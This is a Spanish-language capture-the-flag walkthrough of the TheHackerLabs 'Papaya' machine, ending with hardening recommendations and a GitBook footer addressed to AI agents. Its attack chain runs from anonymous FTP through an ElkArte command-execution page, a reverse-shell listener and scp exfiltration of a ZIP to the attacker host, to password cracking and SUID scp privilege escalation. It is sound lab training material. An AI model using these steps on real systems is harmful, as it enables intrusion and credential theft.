> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/thehackerlabs/facil/papaya.md).

# Papaya

## Introduccion

En este laboratorio de TheHackerLabs se compromete una maquina Linux que expone FTP, SSH y HTTP.

La cadena de explotacion empieza con acceso anonimo por FTP, donde se obtiene una pista codificada con ROT13. Esa pista permite autenticarse en un foro ElkArte, abusar de una funcionalidad de temas para conseguir ejecucion remota de comandos y obtener una shell como `www-data`. Despues, se recuperan credenciales desde un ZIP en `/opt` y la escalada final se consigue abusando de un `scp` con permisos SUID.

***

## Reconocimiento

En este caso la IP activa de la maquina es:

![Papaya IP](/files/vysbNExpGKTGKLS87MIM)

```
192.168.1.104
```

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sV -p- -T4 -sS -Pn -n 192.168.1.104
```

![Nmap](/files/5bDDbOHjrUEJ83E87Q1T)

El escaneo muestra tres puertos abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 21/tcp | FTP      | ProFTPD              |
| 22/tcp | SSH      | OpenSSH 9.2p1 Debian |
| 80/tcp | HTTP     | Apache httpd 2.4.59  |

***

## Enumeracion FTP

Como FTP esta expuesto, se prueba acceso anonimo:

```bash
ftp 192.168.1.104
```

Usuario:

```
anonymous
```

![FTP anonymous](/files/KslKHao1rxORhzxEcXn4)

El login anonimo funciona correctamente. Al listar el contenido aparece un archivo llamado `secret.txt`:

```bash
ls
get secret.txt
```

![Descarga secret.txt](/files/rac1FdTZcQm26j8DGzhm)

Al leer el archivo se obtiene una cadena aparentemente codificada:

```bash
cat secret.txt
```

```
ndhvabunlanqnpbnb
```

Se prueba ROT13 y aparece una posible password:

```bash
echo "ndhvabunlanqnpbnb" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
```

![ROT13](/files/wjZgsn63oBzS5WW9D8TT)

Resultado:

```
aquinohaynadacoño
```

***

## Enumeracion web

Al acceder al sitio web se muestra un foro **ElkArte**:

```
http://papaya.thl
```

![ElkArte](/files/ii83bMJNIWuHJS80Re2C)

En el pie de pagina se identifica la version:

```
ElkArte 1.1.9
```

Se busca informacion publica sobre esa version:

```bash
searchsploit elkarte
```

![Searchsploit ElkArte](/files/KpY9VGG0JIBzOhBvb83R)

Aparece un exploit autenticado:

```
ElkArte Forum 1.1.9 - Remote Code Execution (RCE) (Authenticated)
```

Se revisa el exploit:

```bash
cat 52026.txt
```

![Exploit ElkArte](/files/TCS9dUqVuYuBZVr1vHMv)

La idea del exploit es iniciar sesion como administrador, instalar un tema comprimido en ZIP y usar un PHP dentro del tema para ejecutar comandos.

***

## Fuzzing web

Se realiza fuerza bruta de rutas sobre el sitio:

```bash
gobuster dir -u http://papaya.thl/ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster web](/files/KhaJGphKj80pNan5JwkQ)

Recursos interesantes:

| Recurso      | Codigo | Comentario            |
| ------------ | ------ | --------------------- |
| `/index.php` | 200    | Foro principal        |
| `/docs/`     | 301    | Documentacion         |
| `/themes/`   | 301    | Temas de ElkArte      |
| `/tests/`    | 301    | Directorio de pruebas |
| `/avatars/`  | 301    | Avatares              |
| `/sources/`  | 301    | Codigo fuente         |
| `/SSI.php`   | 200    | Script de ElkArte     |

Despues se enumera el directorio de temas:

```bash
gobuster dir -u http://papaya.thl/themes \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -b 404 -t 60
```

![Gobuster themes](/files/fyZDKiOqJrNELTKqYzPY)

Aparecen los temas `default` y `prueba`. Se continua enumerando el tema `prueba`:

```bash
gobuster dir -u http://papaya.thl/themes/prueba \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x php,html,txt \
  -b 404 -t 60
```

![Gobuster tema prueba](/files/4VZvvJoStghbaNON6o7g)

Se descubre el archivo:

```
/themes/prueba/prueba.php
```

Al abrirlo, el propio archivo indica que acepta comandos mediante el parametro `cmd`:

```
http://papaya.thl/themes/prueba/prueba.php
```

![prueba.php](/files/nMGD1ns92Sf3sb2PtozY)

***

## Acceso inicial

Para obtener una shell, se prepara un listener:

```bash
nc -lvnp 4444
```

Despues se codifica una reverse shell Bash para pasarla por URL. En la captura se ve el payload codificado y enviado al parametro `cmd`:

![URL encode payload](/files/cncp3iCNTPvEtSqOELHf)

```
http://papaya.thl/themes/prueba/prueba.php?cmd=<payload-url-encoded>
```

![Ejecucion payload](/files/ouNXyhzHjSeRIXTeV24O)

Se recibe una shell como `www-data`:

![Shell www-data](/files/jYNUHnONn80QkQeR1KJU)

***

## Enumeracion local

Dentro del directorio de ElkArte se revisa la configuracion de la aplicacion. En ella aparecen credenciales para MariaDB:

![Credenciales DB](/files/0SsR6aGA1EoLFGeQOdyi)

Credenciales encontradas:

| Campo         | Valor      |
| ------------- | ---------- |
| Base de datos | `elkarte`  |
| Usuario       | `elkarte`  |
| Password      | `password` |

Se accede a MariaDB:

```bash
mysql -u elkarte -p
```

![Acceso MariaDB](/files/TLomXGHl1EHgndYKFf4E)

Se listan las bases de datos y se selecciona `elkarte`:

```sql
SHOW DATABASES;
USE elkarte;
```

![Bases de datos](/files/DdGweLNOqOWdgzV75qZA)

La tabla `elkarte_members` contiene la informacion de usuarios del foro:

```sql
SHOW COLUMNS FROM elkarte_members;
```

![Columnas members](/files/UMqoA3hmqIGK5GPdKw5G)

Se consultan usuarios y hashes:

```sql
SELECT member_name,passwd,id_group FROM elkarte_members;
```

![Usuario admin](/files/ixlbtRpCnTVeEXjB2Ta4)

No se encuentra nada, seguimos buscando.

***

## Extraccion de credenciales

Enumerando el sistema como `www-data`, en `/opt` aparece un ZIP interesante:

```bash
ls -la /opt
```

![pass.zip en opt](/files/o3cGqzfMYja2WcLzTMbL)

Archivo encontrado:

```
/opt/pass.zip
```

Se transfiere el ZIP a la maquina atacante con `scp`:

```bash
scp pass.zip kali@192.168.1.99:/home/kali
```

![SCP pass.zip](/files/6TxfrNvymtL6pVagYwVr)

El ZIP esta protegido con password, asi que se extrae el hash con `zip2john` y se crackea con John:

```bash
zip2john pass.zip > hashpass.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashpass.txt
```

![John pass.zip](/files/nUEvURRGbzLH2InZsyPw)

John encuentra la password:

```
jesica
```

Se descomprime el ZIP y se lee el archivo `pass.txt`:

```bash
unzip pass.zip
cat pass.txt
```

![pass.txt](/files/qC1OLv70UyS50kceszNg)

Contenido:

```
papayarica
```

Con esa password se cambia al usuario `papaya`:

```bash
su papaya
```

![su papaya](/files/a19LFRhSwkPz2q4G8Q5T)

***

## Escalada a root

Durante la enumeracion de privilegios se identifica que `/usr/bin/scp` puede abusarse con tecnica SUID. La referencia de GTFOBins muestra el metodo:

![GTFOBins scp](/files/o3SRIcJhvNwKRocQtpaA)

Se crea un archivo temporal que lanza una shell y se invoca `scp` con la opcion `-S`:

```bash
echo '<comando de shell>' > /home/papaya/tempfile
chmod +x /home/papaya/tempfile
/usr/bin/scp -S /home/papaya/tempfile x x:
```

![Root con scp](/files/E4RaJdq6E9cfVj9i9zlD)

Al ejecutar el comando se obtiene una shell como `root`:

```bash
whoami
```

```
root
```

***

## Conclusion

Papaya es una maquina bastante completa: empieza con una pista sencilla en FTP, continua con explotacion web sobre ElkArte y termina con una escalada clasica apoyada en GTFOBins. Es un buen laboratorio para practicar la relacion entre servicios expuestos, credenciales reutilizadas, aplicaciones web con panel administrativo y permisos peligrosos en binarios del sistema.

### Puntos clave

* FTP permitia acceso anonimo.
* `secret.txt` contenia una pista codificada con ROT13.
* La password `aquinohaynadacoño` permitia acceder al foro.
* ElkArte 1.1.9 tenia una via de RCE autenticada mediante temas.
* Se obtuvo shell como `www-data`.
* La configuracion de ElkArte revelaba credenciales de MariaDB.
* En `/opt/pass.zip` habia una password protegida con ZIP.
* John crackeo el ZIP con la password `jesica`.
* `pass.txt` contenia la password del usuario `papaya`.
* La escalada final se consiguio abusando de `/usr/bin/scp` con tecnica SUID.

### Recomendaciones

* Deshabilitar el acceso anonimo por FTP.
* No almacenar pistas o secretos en recursos publicos.
* Mantener ElkArte y cualquier CMS/foro actualizado.
* Restringir la instalacion de temas o plugins a fuentes confiables.
* No dejar credenciales de base de datos con permisos excesivos.
* Evitar archivos sensibles en rutas globales como `/opt`.
* Auditar binarios SUID y eliminar permisos innecesarios.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/thehackerlabs/facil/papaya.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
